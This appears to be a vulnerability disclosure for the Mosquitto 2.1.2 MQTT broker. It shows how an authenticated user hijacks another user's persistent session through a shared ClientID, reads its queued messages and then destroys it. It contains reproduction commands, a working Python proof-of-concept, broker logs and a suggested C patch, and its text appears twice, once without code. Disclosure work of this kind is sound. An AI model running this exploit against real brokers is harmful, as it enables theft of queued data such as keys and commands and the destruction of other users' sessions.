Summary
An authenticated user can take over another user's persistent session by connecting with the same ClientID. The broker delivers the victim's queued messages to the attacker without checking whether the authenticated identity matches the session owner.
Tested with authentication and ACL enabled. Related: #3551 (session destruction only; this issue adds data exfiltration).
Affected Version
- Mosquitto 2.1.2 (Docker
eclipse-mosquitto:2)
- MQTT v5.0
- Test client: paho-mqtt 2.1.0, Python 3.13
Broker Config
listener 1883
password_file /mosquitto/config/passwd
acl_file /mosquitto/config/acl_file
allow_anonymous false
log_type all
connection_messages true
ACL file:
user sensor-user
topic write sensor/#
topic read sensor/#
user admin-user
topic readwrite #
Two separate authenticated users. sensor-user has no access to factory/* topics.
Steps to Reproduce
1. admin-user creates a persistent session:
# Using mosquitto_sub with v5 persistent session
mosquitto_sub -h localhost -u admin-user -P AdminPass456 \
-V 5 -i "gateway-01" -t "sensor/critical-data" -q 1 \
--session-expiry-interval 3600
# Ctrl+C to disconnect. Session persists for 3600s.
2. Messages are published while admin-user is offline:
mosquitto_pub -h localhost -u admin-user -P AdminPass456 \
-V 5 -t "sensor/critical-data" -q 1 -m '{"api_key":"sk-PROD-789"}'
mosquitto_pub -h localhost -u admin-user -P AdminPass456 \
-V 5 -t "sensor/critical-data" -q 1 -m '{"cmd":"close","target":"valve-7"}'
3. sensor-user connects with admin-user's ClientID (Clean Start=0):
mosquitto_sub -h localhost -u sensor-user -P SensorPass123 \
-V 5 -i "gateway-01" -t "sensor/critical-data" -q 1 \
--session-expiry-interval 3600
# sensor-user receives admin-user's queued messages immediately
# from the INHERITED session subscription — before the new SUBSCRIBE is even sent.
4. sensor-user disconnects with Session Expiry Interval=0:
The PoC script sends DISCONNECT with Session Expiry Interval=0, which forces the broker to delete the session.
5. admin-user reconnects — session is gone:
mosquitto_sub -h localhost -u admin-user -P AdminPass456 \
-V 5 -i "gateway-01" -t "sensor/critical-data" -q 1 \
--session-expiry-interval 3600
# CONNACK Session Present=0. No subscriptions. No queued messages.
PoC Script
Two test scenarios: Scenario A uses a topic sensor-user can read (sensor/critical-data); Scenario B uses a topic sensor-user cannot read (factory/secret/data).
#!/usr/bin/env python3
"""PoC: MQTT v5.0 session hijack via ClientID + DISCONNECT Session Expiry override."""
import json, threading, time, sys
import paho.mqtt.client as mqtt
from paho.mqtt.enums import CallbackAPIVersion
from paho.mqtt.properties import Properties
from paho.mqtt.packettypes import PacketTypes
CBV1 = CallbackAPIVersion.VERSION1
HOST, PORT = "localhost", 1883
VICTIM_ID = "gateway-01"
ADMIN_USER, ADMIN_PASS = "admin-user", "AdminPass456"
SENSOR_USER, SENSOR_PASS = "sensor-user", "SensorPass123"
def clean(user, pw, cid):
c = mqtt.Client(CBV1, client_id=cid, protocol=mqtt.MQTTv5)
c.username_pw_set(user, pw)
p = Properties(PacketTypes.CONNECT); p.SessionExpiryInterval = 0
c.connect(HOST, PORT, clean_start=True, properties=p)
c.loop_start(); time.sleep(0.5); c.disconnect(); c.loop_stop(); time.sleep(0.5)
def run(topic):
clean(ADMIN_USER, ADMIN_PASS, VICTIM_ID)
# admin-user: persistent session + subscribe
c = mqtt.Client(CBV1, client_id=VICTIM_ID, protocol=mqtt.MQTTv5)
c.username_pw_set(ADMIN_USER, ADMIN_PASS)
p = Properties(PacketTypes.CONNECT); p.SessionExpiryInterval = 3600
ready = threading.Event()
c.on_subscribe = lambda *a: ready.set()
c.connect(HOST, PORT, clean_start=False, properties=p)
c.loop_start(); time.sleep(0.5)
c.subscribe(topic, qos=1); ready.wait(3)
c.disconnect(properties=Properties(PacketTypes.DISCONNECT))
c.loop_stop(); time.sleep(1)
# publish while offline
msgs = [{"seq": 1, "key": "sk-PROD-789"}, {"seq": 2, "token": "tok-ADMIN-456"}]
pub = mqtt.Client(CBV1, client_id="publisher-temp", protocol=mqtt.MQTTv5)
pub.username_pw_set(ADMIN_USER, ADMIN_PASS)
pub.connect(HOST, PORT, clean_start=True); pub.loop_start(); time.sleep(0.3)
for m in msgs:
pub.publish(topic, json.dumps(m), qos=1); time.sleep(0.1)
pub.disconnect(); pub.loop_stop(); time.sleep(1)
# sensor-user hijacks
stolen = []; got = threading.Event(); info = {}
def on_conn(c, u, f, rc, props=None):
info["sp"] = f.session_present if hasattr(f, 'session_present') else f
def on_msg(c, u, m):
stolen.append(m.payload.decode())
if len(stolen) >= len(msgs): got.set()
att = mqtt.Client(CBV1, client_id=VICTIM_ID, protocol=mqtt.MQTTv5)
att.username_pw_set(SENSOR_USER, SENSOR_PASS)
ap = Properties(PacketTypes.CONNECT); ap.SessionExpiryInterval = 3600
att.on_connect = on_conn; att.on_message = on_msg
att.connect(HOST, PORT, clean_start=False, properties=ap)
att.loop_start(); got.wait(5)
# destroy session
dp = Properties(PacketTypes.DISCONNECT); dp.SessionExpiryInterval = 0
att.disconnect(properties=dp); att.loop_stop(); time.sleep(1)
# admin reconnects
recv = []; done = threading.Event(); info2 = {}
def on_conn2(c, u, f, rc, props=None):
info2["sp"] = f.session_present if hasattr(f, 'session_present') else f
def on_msg2(c, u, m):
recv.append(m.payload.decode())
if len(recv) >= len(msgs): done.set()
dev = mqtt.Client(CBV1, client_id=VICTIM_ID, protocol=mqtt.MQTTv5)
dev.username_pw_set(ADMIN_USER, ADMIN_PASS)
vp = Properties(PacketTypes.CONNECT); vp.SessionExpiryInterval = 3600
dev.on_connect = on_conn2; dev.on_message = on_msg2
dev.connect(HOST, PORT, clean_start=False, properties=vp)
dev.loop_start(); done.wait(3); dev.disconnect(); dev.loop_stop()
return {"sp_att": info.get("sp"), "stolen": len(stolen), "total": len(msgs),
"admin_recv": len(recv), "sp_admin": info2.get("sp")}
r_a = run("sensor/critical-data")
r_b = run("factory/secret/data")
print(f"Scenario A (sensor-user CAN read): stolen={r_a['stolen']}/{r_a['total']}, admin_after={r_a['admin_recv']}")
print(f"Scenario B (sensor-user CANNOT read): stolen={r_b['stolen']}/{r_b['total']}, admin_after={r_b['admin_recv']}")
Broker Logs
Unedited excerpts from docker logs mqtt-broker-acl after a clean restart (Scenario A).
admin-user creates persistent session (u='admin-user'):
1774625773: New client connected from 172.17.0.1:35660 as gateway-01 (p5, c0, k60, u'admin-user').
1774625773: No will message specified.
1774625773: Sending CONNACK to gateway-01 (0, 0)
1774625774: Received SUBSCRIBE from gateway-01
1774625774: sensor/critical-data (QoS 1)
1774625774: gateway-01 1 sensor/critical-data
1774625774: Sending SUBACK to gateway-01
1774625774: Received DISCONNECT from gateway-01
1774625774: Client gateway-01 [172.17.0.1:35660] disconnected.
Messages published while admin-user is offline:
1774625775: New client connected from 172.17.0.1:35674 as publisher-temp (p5, c1, k60, u'admin-user').
1774625775: No will message specified.
1774625775: Sending CONNACK to publisher-temp (0, 0)
1774625775: Received PUBLISH from publisher-temp (d0, q1, r0, m1, 'sensor/critical-data', ... (75 bytes))
1774625775: Sending PUBACK to publisher-temp (m1, rc0)
1774625775: Received PUBLISH from publisher-temp (d0, q1, r0, m2, 'sensor/critical-data', ... (80 bytes))
1774625775: Sending PUBACK to publisher-temp (m2, rc0)
1774625775: Received DISCONNECT from publisher-temp
1774625775: Client publisher-temp [172.17.0.1:35674] disconnected.
sensor-user connects as gateway-01 — session handed over (u='sensor-user'):
1774625776: Client gateway-01 [172.17.0.1:35660] disconnected: session taken over.
1774625776: New client connected from 172.17.0.1:35684 as gateway-01 (p5, c0, k60, u'sensor-user').
1774625776: No will message specified.
1774625776: Sending CONNACK to gateway-01 (1, 0)
1774625776: Sending PUBLISH to gateway-01 (d0, q1, r0, m1, 'sensor/critical-data', ... (75 bytes))
1774625776: Sending PUBLISH to gateway-01 (d0, q1, r0, m2, 'sensor/critical-data', ... (80 bytes))
1774625776: Received PUBACK from gateway-01 (Mid: 1, RC:0)
1774625776: Received PUBACK from gateway-01 (Mid: 2, RC:0)
1774625776: Received DISCONNECT from gateway-01
1774625776: Client gateway-01 [172.17.0.1:35684] disconnected.
Key line: u'admin-user' created the session, u'sensor-user' took it over. CONNACK (1, 0) = Session Present=1. Broker pushed both queued messages to sensor-user.
admin-user reconnects — session destroyed:
1774625777: New client connected from 172.17.0.1:35698 as gateway-01 (p5, c0, k60, u'admin-user').
1774625777: No will message specified.
1774625777: Sending CONNACK to gateway-01 (0, 0)
CONNACK (0, 0) = Session Present=0. No Sending PUBLISH lines. All state is gone.
Scenario B — unauthorized topic: session taken over but messages blocked by ACL:
1774625783: Client gateway-01 [172.17.0.1:35710] disconnected: session taken over.
1774625783: New client connected from 172.17.0.1:55880 as gateway-01 (p5, c0, k60, u'sensor-user').
1774625783: No will message specified.
1774625783: Sending CONNACK to gateway-01 (1, 0)
1774625788: Received DISCONNECT from gateway-01
1774625788: Client gateway-01 [172.17.0.1:55880] disconnected.
Session Present=1 (session was taken over), but no Sending PUBLISH — ACL blocked delivery of factory/secret/data to sensor-user. However, when admin-user reconnects:
1774625789: New client connected from 172.17.0.1:55890 as gateway-01 (p5, c0, k60, u'admin-user').
1774625789: No will message specified.
1774625789: Sending CONNACK to gateway-01 (0, 0)
Session Present=0. The session was still destroyed, and the messages are gone.
Difference from Clean Session=1 Attack
This is a distinct attack from using Clean Session=1 / Clean Start=1:
|
Clean Session=1 (#3551) |
This attack |
| What it does |
Destroys session on CONNECT |
Hijacks session, steals data, then destroys |
| Confidentiality |
Not affected |
Breached — attacker reads queued messages |
| Code path |
handle_connect.c:108 sub__clean_session() |
handle_connect.c:115-170 (session transfer) → property_broker.c:225 (expiry override) → context.c:286 (session delete) |
| Protocol fields |
Clean Session flag (v3.1.1) |
Clean Start=0 + DISCONNECT Session Expiry Interval=0 (v5.0) |
| Requires auth? |
No |
Works with authentication |
| Attacker gets |
Nothing |
Subscriptions + queued messages |
Impact
-
Confidentiality breach: Any authenticated user can read another user's queued QoS 1/2 messages by connecting with their ClientID. In the test, sensor-user read messages containing API keys and command tokens queued for admin-user.
-
Session destruction: After reading the data, the attacker uses DISCONNECT with Session Expiry Interval=0 to delete the victim's session. The victim loses all subscriptions and queued messages.
-
Works with authentication: The broker authenticates sensor-user successfully but never checks whether sensor-user is authorized to use ClientID gateway-01 (which belongs to admin-user's session). Authentication and ACL do not protect against this.
-
ACL partially mitigates data theft: Messages on topics outside the attacker's ACL scope are not delivered (Scenario B). But the session takeover and destruction still succeed regardless of ACL.
Prior Art
MQTT 5.0 spec §5.4.2:
"In particular, the implementation should check that the Client is authorized to use the Client Identifier as this gives access to the MQTT Session State."
Suggested Fix
In handle_connect.c, when an existing session is found for the ClientID (line ~96), check whether the authenticated username of the new connection matches the username that created the session:
HASH_FIND(hh_id, db.contexts_by_id, context->id, strlen(context->id), found_context);
if(found_context){
// Reject if authenticated identity doesn't match session owner
if(context->username && found_context->username
&& strcmp(context->username, found_context->username) != 0){
log__printf(NULL, MOSQ_LOG_NOTICE,
"Rejected CONNECT from '%s' (u='%s'): session owned by u='%s'",
context->id, context->username, found_context->username);
send__connack(context, 0, MQTT_RC_NOT_AUTHORIZED, NULL);
return MOSQ_ERR_AUTH;
}
// ... existing session handling code ...
}
Same user reconnecting with the same ClientID still works as before; only cross-user session takeover is blocked.
Happy to provide additional details if needed.
Summary
An authenticated user can take over another user's persistent session by connecting with the same ClientID. The broker delivers the victim's queued messages to the attacker without checking whether the authenticated identity matches the session owner.
Tested with authentication and ACL enabled. Related: #3551 (session destruction only; this issue adds data exfiltration).
Affected Version
eclipse-mosquitto:2)Broker Config
ACL file:
Two separate authenticated users.
sensor-userhas no access tofactory/*topics.Steps to Reproduce
1. admin-user creates a persistent session:
2. Messages are published while admin-user is offline:
3. sensor-user connects with admin-user's ClientID (Clean Start=0):
4. sensor-user disconnects with Session Expiry Interval=0:
The PoC script sends DISCONNECT with
Session Expiry Interval=0, which forces the broker to delete the session.5. admin-user reconnects — session is gone:
PoC Script
Two test scenarios: Scenario A uses a topic
sensor-usercan read (sensor/critical-data); Scenario B uses a topicsensor-usercannot read (factory/secret/data).Broker Logs
Unedited excerpts from
docker logs mqtt-broker-aclafter a clean restart (Scenario A).admin-user creates persistent session (u='admin-user'):
Messages published while admin-user is offline:
sensor-user connects as gateway-01 — session handed over (u='sensor-user'):
Key line:
u'admin-user'created the session,u'sensor-user'took it over. CONNACK(1, 0)= Session Present=1. Broker pushed both queued messages tosensor-user.admin-user reconnects — session destroyed:
CONNACK
(0, 0)= Session Present=0. NoSending PUBLISHlines. All state is gone.Scenario B — unauthorized topic: session taken over but messages blocked by ACL:
Session Present=1 (session was taken over), but no
Sending PUBLISH— ACL blocked delivery offactory/secret/datatosensor-user. However, when admin-user reconnects:Session Present=0. The session was still destroyed, and the messages are gone.
Difference from Clean Session=1 Attack
This is a distinct attack from using
Clean Session=1/Clean Start=1:handle_connect.c:108sub__clean_session()handle_connect.c:115-170(session transfer) →property_broker.c:225(expiry override) →context.c:286(session delete)Clean Sessionflag (v3.1.1)Clean Start=0+DISCONNECT Session Expiry Interval=0(v5.0)Impact
Confidentiality breach: Any authenticated user can read another user's queued QoS 1/2 messages by connecting with their ClientID. In the test,
sensor-userread messages containing API keys and command tokens queued foradmin-user.Session destruction: After reading the data, the attacker uses DISCONNECT with
Session Expiry Interval=0to delete the victim's session. The victim loses all subscriptions and queued messages.Works with authentication: The broker authenticates
sensor-usersuccessfully but never checks whethersensor-useris authorized to use ClientIDgateway-01(which belongs toadmin-user's session). Authentication and ACL do not protect against this.ACL partially mitigates data theft: Messages on topics outside the attacker's ACL scope are not delivered (Scenario B). But the session takeover and destruction still succeed regardless of ACL.
Prior Art
MQTT 5.0 spec §5.4.2:
Suggested Fix
In
handle_connect.c, when an existing session is found for the ClientID (line ~96), check whether the authenticated username of the new connection matches the username that created the session:Same user reconnecting with the same ClientID still works as before; only cross-user session takeover is blocked.
Happy to provide additional details if needed.